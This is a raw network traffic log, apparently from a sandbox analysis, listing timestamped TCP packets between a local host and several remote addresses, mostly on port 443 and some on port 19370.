Oct 17, 2024 18:18:23.713995934 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.714009047 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.728708982 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.729105949 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.729124069 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.729651928 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.729661942 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.732593060 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:23.732642889 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:23.732703924 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:23.733361959 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:23.733375072 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:23.779687881 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.789221048 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.838165998 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.838203907 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.838721991 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.838732004 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.839921951 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.839953899 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.840538025 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.840544939 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.841064930 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.841133118 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.841312885 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.841347933 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.841347933 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.841367960 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.841381073 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.844131947 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.844172955 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.844245911 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.844448090 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.844469070 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.864259005 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.864336967 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.864474058 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.895569086 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.895600080 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.895617962 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.895626068 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.926942110 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.926990032 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.927100897 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.940341949 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.940376043 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.967860937 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.967932940 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.968095064 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.974854946 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.975014925 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.975064993 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.976521969 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.976558924 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.976577044 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.976584911 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.979685068 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.979712009 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.979726076 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.979732037 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.990186930 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.990241051 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.990348101 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.992084980 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.992125034 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.992209911 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.995950937 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.995970964 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.996607065 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.996622086 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.139951944 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.154073954 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.154129028 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.154619932 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.154639959 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.279249907 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.279330969 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.279486895 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.284240961 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.284279108 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.284302950 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.284312010 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.320853949 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.320904016 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.321074009 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.363282919 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.363312960 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.571146011 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.579246044 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.579246044 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.579279900 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.579287052 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.683582067 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.701229095 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.701246977 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.701688051 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.701693058 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.706015110 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.706773043 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.706814051 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.707034111 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.707034111 CEST	49746	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.707051992 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.707061052 CEST	443	49746	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.711302996 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.711359024 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.711419106 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.712400913 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.712414980 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.761861086 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.763139963 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.763164997 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.763690948 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.763698101 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.766483068 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.766941071 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.766961098 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:24.767342091 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:24.767348051 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.047518015 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.047720909 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.047772884 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.048094988 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.048589945 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.048631907 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.048683882 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.048741102 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.048841000 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.049405098 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:25.049474955 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.051904917 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.051928043 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:25.052369118 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:25.076118946 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.076141119 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.076153040 CEST	49747	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.076159000 CEST	443	49747	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.078119040 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.078119040 CEST	49749	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.078140974 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.078151941 CEST	443	49749	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.078700066 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.078717947 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.078732967 CEST	49748	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.078739882 CEST	443	49748	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.080450058 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.080502033 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.080521107 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:25.080620050 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.105643988 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.105741978 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.105828047 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.112137079 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.112170935 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.118051052 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.118097067 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.118176937 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.118417025 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.118428946 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.123399973 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:25.129923105 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.129957914 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.130017042 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.136923075 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.136943102 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.185117960 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.186886072 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.186898947 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.187381029 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.187391996 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.189897060 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.196408987 CEST	19370	49755	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:25.196484089 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.197455883 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.204628944 CEST	19370	49755	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:25.321866989 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.322339058 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.322432041 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.325439930 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.325462103 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.325681925 CEST	49750	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.325690031 CEST	443	49750	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.329839945 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.329883099 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.329956055 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.334412098 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:25.334465981 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.334479094 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.334849119 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.334882975 CEST	443	49745	40.113.110.67	192.168.2.6
Oct 17, 2024 18:18:25.334906101 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.334959984 CEST	49745	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:18:25.353133917 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.358253002 CEST	19370	49755	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:25.461057901 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.466665030 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.466713905 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.467104912 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.467112064 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.530180931 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.535111904 CEST	19370	49755	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:25.597625017 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.597697020 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.597758055 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.598648071 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.598674059 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.598674059 CEST	49751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.598684072 CEST	443	49751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.623054028 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.623102903 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.623173952 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.628216028 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.628236055 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.673580885 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.678599119 CEST	19370	49755	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:25.856097937 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.861205101 CEST	19370	49755	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:25.893672943 CEST	19370	49755	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:25.893747091 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:25.906235933 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.908716917 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.919112921 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.947603941 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.947649002 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.948962927 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.948980093 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.965996981 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.966031075 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.968482971 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.968488932 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.970024109 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.970053911 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:25.970601082 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:25.970614910 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.236430883 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.236498117 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.236660957 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.238267899 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.238332987 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.239101887 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.239155054 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.239161968 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.239207029 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.240009069 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.417115927 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.420428991 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.442590952 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.442615986 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.443716049 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.443722010 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.443825960 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.443854094 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.444101095 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.444137096 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.444159985 CEST	49754	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.444169044 CEST	443	49754	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.444267988 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.444282055 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.444379091 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.444412947 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.444432974 CEST	49752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.444439888 CEST	443	49752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.445482016 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.445488930 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.445565939 CEST	49753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.445579052 CEST	443	49753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.458215952 CEST	49760	19490	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:26.473268032 CEST	49762	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.473293066 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.473355055 CEST	49762	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.481000900 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.481048107 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.481111050 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.485608101 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.485692024 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.485754013 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.486196995 CEST	49762	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.486206055 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.494398117 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.494427919 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.495425940 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.495455027 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.572602987 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.572698116 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.572757959 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.583640099 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.583640099 CEST	49757	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.583679914 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.583687067 CEST	443	49757	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.589425087 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.589622021 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.589684963 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.592747927 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.592804909 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.592878103 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.606662989 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.606705904 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.606724024 CEST	49756	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.606733084 CEST	443	49756	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.611193895 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.611242056 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.625289917 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.625329971 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.626316071 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.627742052 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:26.627757072 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:26.998703003 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:26.998743057 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:27.001741886 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:27.001741886 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:27.001774073 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:27.259008884 CEST	49755	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:27.271770954 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.277944088 CEST	49762	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.277971983 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.278960943 CEST	49762	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.278969049 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.286353111 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.286771059 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.286797047 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.287245989 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.287250042 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.293329954 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.294055939 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.294080973 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.294544935 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.294550896 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.398849010 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.400019884 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.405335903 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.405478001 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.405710936 CEST	49762	443	192.168.2.6	13.107.246.45
